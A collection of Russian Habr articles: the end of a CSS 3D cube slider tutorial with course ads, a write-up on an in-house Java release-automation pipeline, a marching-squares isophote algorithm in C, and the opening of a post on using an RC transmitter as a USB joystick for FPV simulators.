Первое свойство `transform` не поворачивает элемент, а затем каждое новое свойство добавляет поворот по определенной оси до тех пор, пока мы не сделаем шесть поворотов. Затем мы возвращаемся к первому изображению.
Не забываем про расположение картинок. Каждое изображение становится гранью куба с помощью свойства `transform`:
```
.gallery img {
grid-area: 1 / 1;
width: var(--s);
aspect-ratio: 1;
object-fit: cover;
transform: var(--_t,) translateZ(calc(var(--s) / 2));
}
.gallery img:nth-child(2) { --_t: rotateX(-90deg); }
.gallery img:nth-child(3) { --_t: rotateY( 90deg) rotate(-90deg); }
.gallery img:nth-child(4) { --_t: rotateX(180deg) rotate( 90deg); }
.gallery img:nth-child(5) { --_t: rotateX( 90deg) rotate( 90deg); }
.gallery img:nth-child(6) { --_t: rotateY(-90deg); }
```
Возможно, вам кажется, что за прописанными здесь значениями поворота стоит какая-то сложная логика? Отнюдь. Я просто открыл инструменты разработчика и поиграл с градусами поворота каждой картинки, пока все не заработало, как надо. Возможно, это звучит глупо — но это работает, особенно если учесть, что количество изображений у нас постоянное. Здесь нет стремления создать слайдер для произвольного числа картинок.
В качестве упражнения попробуйте сами расположить картинки на гранях куба. Начните с расположения картинок стопкой, откройте инструменты разработчика и начинайте экспериментировать! Скорее всего, у вас получится другой код, но это нормально. Изображения можно расположить по-разному.
> А что означает запятая в `var()`? Это опечатка?
Это не опечатка, не удаляйте запятую! Если вы ее удалите, расположение первой картинки изменится. Посмотрите на мой код — в нем переменная `--_t` отвечает за все изображения, кроме первого. Для первой картинки необходимо применить только `translateZ`. [Запятая присваивает переменной значение null](https://css-tricks.com/the-css-custom-property-toggle-trick/). Без запятой присваивания `null` не происходит, и значение переменной становится некорректным.
Из [спецификации](https://www.w3.org/TR/css-variables-1/#using-variables):
> Примечание: `var(--a,)` — это функция. Если пользовательское свойство `--a` неверно или отсутствует, то [`var()`](https://www.w3.org/TR/css-variables-1/#funcdef-var)` удаляется.
### Случайный кубический слайдер
Давайте заменим порядок вращения куба на случайный.
Мне такой вариант нравится больше. Его интереснее реализовать, и за ним интереснее наблюдать. А значения можно изменить, чтобы получить собственный вариант случайного кубического слайдера!
На самом деле, случайности здесь нет. На каждом ключевом кадре вы определяете свойство `transform` для демонстрации определенной грани… и все. Можно выбирать любую последовательность показа граней.
```
@keyframes r {
0%, 3% { transform: var(--_p) rotate3d( 0, 0, 0, 0deg); }
14%,19% { transform: var(--_p) rotate3d(-1, 1, 0,180deg); }
31%,36% { transform: var(--_p) rotate3d( 0,-1, 0, 90deg); }
47%,52% { transform: var(--_p) rotate3d( 1, 0, 0, 90deg); }
64%,69% { transform: var(--_p) rotate3d( 1, 0, 0,-90deg); }
81%,86% { transform: var(--_p) rotate3d( 0, 1, 0, 90deg); }
97%,100% { transform: var(--_p) rotate3d( 0, 0, 0, 0deg); }
}
```
Здесь я использую `rotate3d()` и подбираю подходящие значения с помощью инструментов разработчика. Не пытайтесь понять логику, связывающую значения ключевых кадров — ее просто нет. Я определяю отдельные трансформации и смотрю на "случайный" результат. Убедитесь, что первое изображение присутствует на первом и последнем ключевом кадре, а на остальных кадрах показываются другие картинки.
Вам не обязательно использовать трансформацию `rotate3d()`. Вы можете связать вместе различные повороты, как в предыдущем примере. Экспериментируйте, смотрите, что получается и не забудьте поделиться своим кодом в комментариях!
### Заключение
Надеюсь, вам понравилась эта серия статей. Мы создали ряд интересных слайдеров, и в процессе узнали много нового о различных концепциях CSS — от расположения грида и контекста наложения до задержек в анимации и трансформаций. Мы даже немного поиграли с SASS, когда проходили циклом по массиву элементов.
И при этом мы не меняли HTML-код. CSS — мощный инструмент, с его помощью можно достичь многого, не прибегая к JavaScript.
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_170123&utm_term=conc)
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_170123&utm_term=conc)
* [Профессия Fullstack-разработчик на Python (16 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_170123&utm_term=conc)
**Краткий каталог курсов**
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_170123&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_170123&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_170123&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_170123&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_170123&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_170123&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_170123&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_170123&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_170123&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_170123&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_170123&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_170123&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_170123&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_170123&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_170123&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_170123&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_170123&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_170123&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_170123&utm_term=cat)
* [Профессия «Белый хакер»](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_170123&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_170123&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_170123&utm_term=cat) | https://habr.com/ru/post/711256/ | null | ru | null |
# Корпоративный Release Manager: муки и радости
Автоматизация процессов разработки и тестирования программного обеспечения (ПО) — лучший способ уйти от рутины и заняться действительно интересными задачами. Азарт от реализации новой функции может быть погребен под рутиной сборки, подготовки и выпуска нового релиза. Как избежать этой неизбежной скучной задачи, но выпустить релиз ПО, не упустив при этом ни одной мелочи при его подготовке?
Выпуск релиза ПО — это не только сборка ПО в определённого формата пакет и отправка пакета на место его установки. Зачастую выпуск релиза включает в себя множество других задач, таких как:
* оформление сопроводительной документации;
* указание номера версии релиза у задач в Bug-трекинге;
* проверка, что нужные задачи попали в нужный релиз;
* оформление и рассылка уведомлений о выходе релиза.
Количество таких задач может меняться от проекта к проекту в зависимости от требований и рабочего процесса, принятого на проекте.
Но независимо от количества и типа задач, практически для любого продукта выпуск релиза происходит с определённой периодичностью. И такой процесс — это отличный кандидат для автоматизации рутинных действий.
Логично будет использовать уже существующие инструменты. И часть процесса выпуска релиза на нашем проекте уже была автоматизирована. Но оставалось ещё много работы, которую приходилось выполнять вручную. И желание автоматизировать этот процесс привело к тому, что у нас появился сервис позволяющий выпустить релиз в два клика. И сегодня я расскажу, как мы пришли к созданию такого инструмента и каких результатов достигли.
### С небольшого ручейка начинается река
Изначально не было цели создать инструмент автоматизации выпуска релизов. У нас был процесс выпуска релизов, он хорошо и пошагово расписан на Wiki. Но один из шагов был настоящей мукой для выпускающего релиз разработчика. А именно: добавление информации о выпуске релиза на страницу Wiki.
Этот нехитрый шаг требовал усидчивости, внимания и кропотливой ручной работы при написании статьи о выпуске релиза. Большая часть работы сводилась к копированию информации из задач в Bug-трекинге в страницу релиза на Wiki. На это несложное, но жутко скучное и однообразное действие требовались не только моральные силы разработчика, но и время.
Поэтому создание инструмента автоматизации выпуска релизов начинался с довольно простой консольной программы, которая через API Bug-трекинга вытаскивала необходимый список задач и формировала страницу в Wiki-разметке. И по завершении работы программы готовая страничка быстро и заботливо переносилась разработчиком уже на Wiki.
Сэкономив время на одном шаге выпуска релиза, сразу возникло желание автоматизировать и другие. Результатом проделанной работы был набор скриптов, объединённый одной кодовой базой.
### Муки выбора
У получившегося набора скриптов автоматизации было несколько недостатков:
* скрипт надо было запускать на локальном компьютере разработчика;
* сложно было выполнить проверки:
+ можно ли выпускать релиз?
+ корректно ли выпустился релиз?
Первая трудность хорошо решалась при помощи инструмента continuous integration (CI). Нужно было просто добавить шаг в сборку проекта. Но CI, к сожалению, не мог решить вторую проблему.
Зачем нужны эти проверки?
К сожалению, в активном ритме проекта бывают различные ситуации. Например, забыли перевести задачу в нужное состояние, хотя код уже попал в релизную ветку. Возможна и обратная ситуация, когда задача в нужном состоянии, а коммит забыли перенести в релизную ветку.
Нахождение таких несоответствий можно легко запрограммировать, а вот научить программу принимать решения исходя из сложившийся ситуации очень сложно. И такое решение должен принять человек, который выпускает релиз.
И по этой причине было принято решение разработать собственный инструмент, заточенный под наши нужды.
### Выпуск релиза в два клика
Во время выпуска релиза необходимо выполнить две проверки:
* можно ли выпускать релиз?
* корректно ли выпущен релиз?
По этой причине весь процесс автоматизированного выпуска релиза был разделён на две большие части:
* подготовка предрелизной информации;
* выпуск релиза и отображение результатов выпуска.
**1. Подготовка предрелизной информации**
Всё взаимодействие с Release Manager осуществляется через веб-интерфейс. Поэтому сотруднику выпускающий релиз необходимо перейти на главную страницу Release Manager в браузере и первым кликом выбрать нужный проект. Через пару секунд Release Manager отобразит информацию о предстоящем релизе:
В таблице “Correct state” отображаются задачи, которые прошли под все необходимые критерии для включения их в указанный релиз. Иными словами, задачи в этом столбце гарантированно пойдут в релиз.
В таблице “Incorrect state” отображаются задачи, которые по каким-то критериям не подошли для включения в релиз. Все критерии разделены в две большие группы:
* Resolved/Unresolved (Завершённые по статусу в Bug-трекинге/ Не завершённые по статусу в Bug-трекинге);
* Merged/Unmerged (Слиты изменения по задаче в source branch/ Не слиты изменения по задаче в source branch).
Виджет “Release Options” отображает версию выпускаемого релиза, которую RM высчитывает по определённому алгоритму, и дополнительные опции, которые можно указать при выпуске релиза:
* source branch — это имя ветки, на основе которой выполнялись необходимые вычисления;
* create new branch - активация алгоритма создания отдельной релизной ветки при выпуске релиза;
* RC mode - активация алгоритма выпуска релиз кандидата (RC).
Кнопка “Release!” запускает следующий шаг выпуск релиза или релиз кандидата, если активирован переключатель “RC mode”.
Имея всю информацию перед глазами, сотруднику нужно лишь проверить:
* версия, указанная в задаче на выпуск релиза, совпадает с версией, подсчитанной Release Manager;
* что все необходимые задачи включены в табличку “Correct state”.
Далее выставить переключатели в нужные состояния (зависит от того, что сотрудник выпускает релиз кандидат или релиз) и затем нажать кнопку “Release!”
**2. Выпуск релиза и отображение результатов выпуска**
В среднем Release Manager требуется несколько секунд, чтобы проделать весь объём работы, который у сотрудника при ручном выпуске релиза занимал до нескольких часов нудной и кропотливой работы. По окончанию выпуска релиза Release Manager отобразит страницу с результатами выпуска:
Всё что останется сделать — это скопировать информацию на wiki и отправить письмо с шаблоном.
### Релиз Release Manager’а
Изначально Release Manager был реализован для одного проекта. И сразу стал незаменимым инструментом в работе. Но оказалось, что у ребят из других групп разработки тоже есть желание автоматизировать выпуск релизов своих проектов. И демонстрация Release Manager’а коллегам показала, что он способен помочь им в процессе автоматизации выпуска релиза.
Ребята из других групп с энтузиазмом взялись за работу и в скором времени количество проектов, поддерживаемых Release Manager возросло с 1 до 9. И для других групп разработки данный инструмент стал незаменимым помощником при выпуске релизов.
### Время перемен
Концепция Release Manager, выпуск релиза в два клика, прекрасно подходила для всех проектов, включённых в него. И Release Manager исправно и активно помогал нам в работе. Но со временем всё меняется. И алгоритм выпуска релиза тоже. Какие-то шаги добавлялись, какие изменялись, а какие-то и вовсе убирались. Всё это приводило к тому, код Release Manager тоже менялся. Концепция Release Manager прекрасно продолжала работать несмотря на все изменения. Но кодовая база, к сожалению, нет.
Почему такое произошло?
Изначально Release Manager разрабатывался для автоматизации процессов на одном проекте. Поэтому дизайн приложения был заточен для работы только с одним проектом. Потом добавили ещё 8. Кодовая база изменялась со временем и в какой-то момент поддерживать код стало сложно. Это стало приводить к тому, что новые доработки в один проект стали ломать существующие функции в других. Также это привело к другой трудности, а именно по коду стало сложно понять для какого проекта он используется.
Стало ясно, что необходимо обновить Release Manager, чтобы он соответствовал текущим нуждам.
### Рефакторинг
Люди, делая ремонт в доме, обновляют мебель и делают перестановку. В большинстве случаев они делают не потому, что дом перестал выполнять свои функции. Просто он перестал соответствовать их нуждам. А нужды всегда разные.
Аналог такого ремонта есть и у разработчиков. Он называется рефакторинг. Release Manager продолжал исправно выполнять свои функции, но дорабатывать и поддерживать его в исправном состоянии становилось всё сложнее и сложнее. Исходя из возникших трудностей мною были составлены требования к разработке:
* изменения кодовой базы для одного проекта не влияли на функциональную работоспособность другого;
* глядя в код, можно было визуально определить для какого проекта он используется, не вникая в логику его работы.
Говорят, что всё новое — это хорошо забытое старое. Отчасти так произошло с обновлением Release Manager. Вдохновение пришло из опыта работы с системами CI. В таких системах вся сборка проекта сводится к набору шагов.
Такой набор шагов ещё называют пайплайн (pipeline). Выпуск релиза тоже представляет собой набор шагов. По этой причине я принял решение, научить Release Manager собирать для каждого проекта свой собственный пайплайн, а шаги для каждого проекта хранить отдельно друг от друга.
Для этой цели я создал аннотацию @Pipeline, внутри которой можно определить шаг. Шаг хранит в себе информацию о проекте и о порядке выполнения шага в наборе шагов. Шаг представляет собой аннотацию @Step. Вот пример использования:
```
@Component
@Pipeline({
@Step(project = ES, order = 1),
@Step(project = DT, order = 3)
})
public class IssuesByFiltersStep implements PreReleaseStep {
private final IssueService issueService;
@Autowired
public IssuesByFiltersStep(IssueService issueService){ this.issueService = issueService; }
@Override
public PreReleasePipelineContext execute(PreReleasePipelineContext context){...}
}
```
Один и тот же шаг может быть переиспользован на разных проектах. Поэтому для аннотации @Pipeline можно указать несколько аннотаций @Step. Также один и тот же шаг в разных проектах может выполняться разным по счёту. Это уже зависит от алгоритма выпуска релиза конкретного проекта.
Благодаря аннотациям, разработчику не требуется вникать в логику работы кода, чтобы понять на каких проектах он используется. Но аннотации здесь поставлены не только для наглядности. Они используются Release Manager’ом для сборки шагов по каждому проекту в пайплайн выпуска релиза этого проекта.
Однако возникла трудность, так как проекты все разные и сами шаги тоже могут отличаться. Другими словами, реализация конкретных шагов может сильно отличаться друг от друга на разных проектах. И Release Manager должен уметь склеивать любые шаги для любого проекта. Этого можно добиться, если все шаги будут использовать единый интерфейс:
```
public interface PipeLineStep {
T execute(T t);
}
```
У интерфейса всего один метод, который запустит выполнения шага. По концепции Release Manager, выпуск релиза делится на два этапа:
* сбор предрелизной информации;
* выпуск релиза и отображение результатов.
Поэтому Release Manager’у необходимо уметь понимать какие шаги к какому этапу относятся. По этой причине было добавлено ещё два интерфейса для каждого этапа процесса выпуска релиза:
```
public interface PreReleaseStep extends PipelineStep { > {
}
```
```
public interface ReleaseStep extends PipelineStep {
}
```
В итоге для создания одного шага выпуска релиза требуется выполнить два действия:
* Создать класс, реализующий либо интерфейс PreReleaseStep, либо интерфейс ReleaseStep;
* Над классом указать аннотацию @Pipeline, а в ней аннотацию @Step, содержащую имя проекта и порядок выполнения шагов.
```
@Component
@Pipeline({
@Step(project = ES, order = 1),
@Step(project = DT, order = 3)
})
public class IssuesByFiltersStep implements PreReleaseStep {
private final IssueService issueService;
@Autowired
public IssuesByFiltersStep(IssueService issueService) { this.issueService = issueService; }
@Override
public PreReleasePipelineContext execute(PreReleasePipelineContext context) {...}
}
```
При запуске Release Manager создаст два списка. В одном списке будут лежать все экземпляры классов, реализирующие интерфейс PreReleaseStep, в другом - все экземпляры классов, реализирующие интерфейс ReleaseStep. И после этого Release Manager начнёт создавать наборы шагов выпуска релиза для каждого проекта.
Для начала он их отфильтрует и упорядочит для каждого проекта:
```
public static List filterAndSort(List steps, Project project) {
return steps
.stream()
.filter(step -> hasProject(step, project))
.sorted(byOrder(project))
.collect(Collectors.toList());
}
```
Метод filterAndSort() принимает два аргумента. В первый аргумент будет передан один из ранее собранных списков. Во второй аргумент - проект, по которому нужно отфильтровать и отсортировать шаги.
После того, как каждый шаг прошёл через фильтр, все шаги сортируются по порядку, указанному в поле order в аннотации @Step. Результат операции снова собирает в список (List).
После это Release Manager начнёт склеивать шаги в пайплайн:
```
public static Function createPipeline(List extends PipelineStep<T> pipelineSteps, String projectName) {
if (pipelineSteps == null || pipelineSteps.isEmpty()) {
throw new IllegalStateException("error to create pipeline for project '" + projectName + "' due to there is no pipeline steps");
}
return pipelineSteps
.stream()
.map(step -> (Function) LogableFunction
.of(step::execute)
.logBefore("start step : " + step.getClass().getSimpleName())
.logAfter("finish step : " + step.getClass().getSimpleName())
)
.reduce(Function::andThen)
.map(pipeline -> LogableFunction
.of(pipeline)
.logBefore("start '" + projectName + "' pipeline")
.logAfter("finish '" + projectName + "' pipeline")
)
.orElseThrow(() -> new IllegalStateException("error to create pipeline for project '" + projectName + "'"));
}
```
Метод createPipeline() принимает два аргумента. Первый отфильтрованный и отсортированный список шагов для определённого проекта. И второй - имя проекта.
В первом методе map() Release Manager создаёт LogableFunction из каждого шага и добавляет логирование перед и после выполнения шага. (О LogableFunction можно почитать [здесь](https://darrmirr.medium.com/logging-at-functional-programming-efd95da734d1)). В данном случае логируется, что шаг запущен и шаг завершён. Это было сделано по нескольким причинам:
* разработчикам не нужно писать эти логи в каждом шаге;
* единообразный стиль логирования облегчает чтение логов.
В качестве имени шага было выбрано имя класса. Но при желании можно добавить в интерфейс метод, возвращающий имя шага.
Метод reduce() склеивает шаги в одну цепочку последовательного вызова метода execute() у каждого шага. Результат выполнения метода вернёт одну функцию. На втором методе map() полученную функцию снова оборачиваем в LogableFunction и добавляем логирование о том, что выполнение пайплайна для определённого проекта началось и закончилось.
Метод также бросает исключения в определённых случаях. Если исключение будет брошено, то запуск Release Manager остановится, так как Web-сервис не может корректно предоставлять услуги по выпуску релиза, если не удалось собрать его пайплайн.
После того как все пайплайны собраны, Release Manager запущен и ожидает, когда пользователь зайдёт на главную страницу Web-сервиса и выберет проект. В этом случае Release Manager найдёт нужный сервис, содержащий необходимый пайплайн и выполнит его. В коде Release Manager’а этот процесс выглядит так:
```
public PreReleaselnfо getPreReleaselnfo(ReleaseOptions releaseOptions) {
var pipelineContext = new PreReleasePipelineContext();
pipelineContext.projectProperties = properties;
pipelineContext.releaseOptions = releaseOptions;
return SupplierFunctor
.оf(pipelineContext)
.andThen(preReleasePipeline)
.andThen(YoutrackPreReleaseInfо::create)
.get();
}
```
Метод getPreReleaseInfo() принимает один аргумент. В нём содержится базовая информация о доступных для пользователя опциях при выпуске релиза. Изначально она заполнена значениями по умолчанию.
Далее создаётся объект pipelineContext, где будет хранится вся информация о ходе работы в рамках каждого шага при сборе предрелизной информации. Далее контекст кладётся в специальный объект SupplierFunctor к которому можно последовательно применять различные функции. И результат выполнения PreReleaseInfo возвращается пользователю после вызова метода get().
Код выполнения выпуска релиза очень сильно похож на код, выполняющий сбор предрелизной информации:
```
public Releaselnfo performRelease(PreReleaseInfo preReleaselnfo) {
var pipelineContext = new ReleasePipelineContext();
pipelineContext.preReleaselnfo = preReleaselnfo;
pipelineContext.projectProperties = properties;
return SupplierFunctor
.of(pipelineContext)
.andThen(releasePipeline)
.andThen(YoutrackReleaselnfо::create)
.get();
}
```
После проведённого рефакторинга вся бизнес-логика заключается в отдельных шагах, которые потом Release Manager собирает в наборы шагов для каждого проекта. Таким образом, можно создать отдельный шаг специфичный для нужного проекта, и он никак не будет влиять на работу шагов других проектов.
### Заключение
Получившийся Release Manager оказался очень полезным внутренним продуктом для многих команд разработчиков в компании. Он помог существенно сократить время выпуска очередного релиза, избавил от ненужной рутины, нейтрализовал ошибки ручной сборки и стал основой для дальнейшей кастомизации.
Теперь стало проще соблюдать график выпуска релизов, был организован согласованный конвейер для новых версий, учитывающий потребности всех участников на проекте.
Выбор инструмента остается за вами, но при всем обилии существующих решений создание собственного Release Manager оказалось посильной задачей. Наш алгоритм прошел проверку на работоспособность и может быть взят за основу для создания новых уникальных программных продуктов. Дерзайте! | https://habr.com/ru/post/574734/ | null | ru | null |
# В поисках изофот
Понадобилось мне однажды вычисление изофот (линий равной интенсивности на изображениях), однако, готовых библиотек я не нашел, а копаться в чужом коде (например, в тех же Octave или Iraf) очень не хотелось. В качестве простейшего алгоритма я нашел [метод шагающих квадратов](http://en.wikipedia.org/wiki/Marching_squares). Однако, этот метод сильно снижает пространственное разрешение при вычислении узлов изофот, поэтому я решил его немного видоизменить и сделать квадраты перекрывающимися.
[Первая реализация](http://eddy-em.livejournal.com/4771.html) (кстати, довольно быстрая) была неудачной: т.к. я строил маску, общую для всех уровней, а для конкретного уровня пересчитывал отдельно, в точках, через которые проходит несколько изолиний, получились разрывы. Ковыряния в коде приводили к все большему и большему числу взаимных блокировок и флагов, поэтому я решил пойти в ущерб производительности и вычислять маски отдельно для каждого уровня интенсивности.
Итак, вкратце повторю, в чем заключается метод «шагающих квадратов». Для построения изофот уровня Ii вначале строится специальная маска: для каждого пикселя изображения кодируется относительное положение «соседей» справа, внизу и внизу справа. Кодировать это можно по-разному, я просто представил код в виде битовой маски 000abcd, где a,b,c и d — относительные интенсивности в соответствующих пикселях (a — наш текущий пиксель изображения)
Если значение в пикселе больше уровня изолинии, соответствующему биту присваивается единица, иначе — ноль. Если w — ширина изображения, а \*in — указатель на пиксель a, то значение маски (\*out) для этого пикселя вычисляется так:
```
*out = (unsigned char) ((in[0]>lvl)<<3) | ((in[1]>lvl)<<2) | ((in[w]>lvl)<<1) | (in[w+1]>lvl);
```
В результате, в зависимости от конфигурации пикселей, мы получаем одно из 16 значений:
Размер маски получается на единицу меньше в обоих измерениях, чем размер изображения.
Следующим шагом является поочередная проверка всех пикселей маски на неравенство нулю и 15. Как только мы находим такой пиксель, начинаем строить от него изолинию. Для того, чтобы корректно построить изолинии, нам необходимо запоминать направление, с которого мы к данному пикселю подошли. На рисунке выше стрелками обозначены возможные пути «схода» с каждого пикселя маски. Если мы не будем учитывать запрещенное направление (с которого мы пришли), придется либо проверять лишние пиксели маски, либо же (в случае с особыми точками 6 и 9, но о них чуть позже) мы можем вообще неверно выбрать положение следующей точки изофоты.
По мере просмотра пикселей маски (слева направо и сверху вниз, если считать начало координат изображения в левом верхнем углу), пока мы находим лишь пустые ячейки, «запрещенным» направлением является направление «влево». Как только мы находим ячейку, содержащую участок изолинии, мы, в соответствии с заранее подготовленным массивом «направлений» выбираем следующее направление, отсекая «запрещенное». Если таких направлений два, то мы выбираем вправо или вниз (с приоритетом на «вправо») при движении по часовой стрелке и влево или вверх (с приоритетом на «вверх») при движении против часовой стрелки (об этом — позже).
После этого мы вычисляем для конкретного пикселя положение узла изолинии. Это делается при помощи одной из массива функций, в соответствии со значением маски в данном пикселе. Рисунок снизу поясняет, как вычисляется это положение.
Итак, пусть изображение имеет интенсивности, изображенные на рисунке (цифры внутри ячеек). Мы проводим изофоту по уровню 30. Конфигурация соседей пикселя (xi, yi) соответствует значению маски, равному семи. Мы вызываем соответствующую функцию, которая методом линейной интерполяции вычисляет координаты опорных точек изолинии на прямых, соединяющих по вертикали правые два пикселя и по горизонтали нижние два. Соответствующие точки отмечены незакрашенными красными кружками. Соединяя их прямой и находя ее центр, мы получим искомый узел изофоты (отмечен красным кружком с зеленой заливкой, «Our point»). Это, конечно, не очень-то корректный метод, но для большинства задач его достаточно. Каждый узел добавляется в «хвост» соответствующего списка.
После того, как соответствующее значение маски использовано, оно обнуляется и мы переходим к следующему соседнему пикселю маски. Если его содержимое соответствует очередному узлу изофоты, мы продолжаем вычисление, иначе — «закрываем» изофоту. Сразу после «закрытия» изофоты мы проверяем, во-первых, не является ли она слишком короткой (скажем, вокруг одного-единственного пикселя), а во-вторых — проверяем ее замкнутость: если начало и конец изофоты лежат не далее, чем, скажем, 2 пикселя друг от друга, мы считаем ее замкнутой.
Процедура «закрывания» изофоты заключается в том, что «на всякий случай» проверяется, не продолжается ли изофота от своей первой точки в противоположном направлении. Для этого мы переходим к нижнему от первого пикселю маски с запретом на движение «вверх». Если мы находим там продолжение изофоты, то проходим вплоть до ее окончания, добавляя узлы к «голове» списка и выбирая приоритетными направления против часовой стрелки.
Все вышесказанное справедливо, пока мы мы не «натыкаемся» на особые пиксели: 6 и 9. Через эти пиксели маски проходит две линии изофоты, поэтому необходимо, на основе «запрещенного» направления выбрать правильное следующее направление. Так, к примеру, если мы «натыкаемся» на значение 6, придя слева, следующим направлением будет «вверх».
Чтобы «не забыть» о еще одной точке изолинии при следующем проходе, мы заменяем особое значение на «не особое», просто «закрасив» уже использованный пиксель (т.е., например, для случая попадания в «шестерку» слева, мы «закрашиваем» верхний левый пиксель, т.е. заменяем 6 на 7). Такой способ, к сожалению, вызывает «промахи» в случае наличия однопиксельных «провалов» в «горбах» интенсивности. Но, к сожалению, исправление этого — очень сложная алгоритмическая задача, которая будет отбирать слишком много машинного времени на построение изофот. А для большинства изображений описанный метод отлично работает.
Таким образом, «особые» пиксели используются дважды, обнуляясь лишь после второго прохода. Вычисление узлов в особых точках выполняется наоборот: для этого берется функция с «закрашиванием» противоположного используемому пикселя.
Проиллюстрирую работу алгоритма на примере обхода «пика» из двух пикселей, изображенного на рисунке ниже.
Приведенному участку изображения 4х4 пикселя соответствует маска 3х3 пикселя (справа). Мы начинаем движение с левого верхнего пикселя изображения. Т.к. на маске ему соответствует ноль, мы переходим к соседнему правому пикселю маски (при этом помним, что у нас «запрет» на направление «вправо»). Запрещенные направления изображены на рис. справа красными стрелками, «пустые» переходы — черной стрелкой, переходы с расчетом узлов изолинии — зелеными стрелками.
Итак, мы «натыкаемся» на восьмерку и вычисляем при помощи соответствующей функции положение первого узла изофоты. Далее мы смотрим в заранее подготовленный массив и видим, что направления «схода» с текущего пикселя — либо «вправо», либо «вниз». Мы выбираем направление «вправо» и переходим к следующему пикселю (4), не забывая обнулить уже использованный пиксель маски (обнуление пикселей отмечено красными нулями в правом верхнем углу пикселя).
Далее мы переходим ко значению 1, а после него — к особой точке со значением 6. Т.к. мы пришли справа, то значение узла вычисляем по функции для значения маски, равного семи, а шестерку на маске заменяем на 14. После этого переходим вниз, к единице.
После того, как мы пройдем единицу, двойку и восьмерку, мы вернемся к нашему «особому» пикселю, но там уже будет значение 14, т.е. дальнейшее вычисление будет происходить «как ни в чем ни бывало», после чего нам надо будет переходить вверх. Однако, вверху мы натыкаемся на ноль. В «голову» списка узлов мы тоже ничего не можем добавить, т.к. значение под начальным пикселем изолинии тоже обнулено. Поэтому мы проверяем близость начального и конечного узлов линии. Они довольно близки, и мы можем пометить данную изолинию как замкнутую.
Все исходники к алгоритму можно найти [здесь](http://code.google.com/p/fitsview/source/browse/src/contours.c). Я планирую еще добавить распараллеливание вычисления изолиний разных уровней, чтобы запустить хотя бы 4..8 параллельных потоков. Пока, в один поток, для тестового изображения 3000х3000 пикселей построение изофот по 16 уровням занимает около 1.2с. | https://habr.com/ru/post/137028/ | null | ru | null |
# FPV гонки на симуляторе (делаем USB джойстик из пульта радиоуправления)
Зима в северных широтах — время, когда у FPV пилота появляется время, чтобы отдохнуть от гонок и постоянных поломок, взять в руки паяльник, и смастерить что-нибудь полезное для своего хобби.
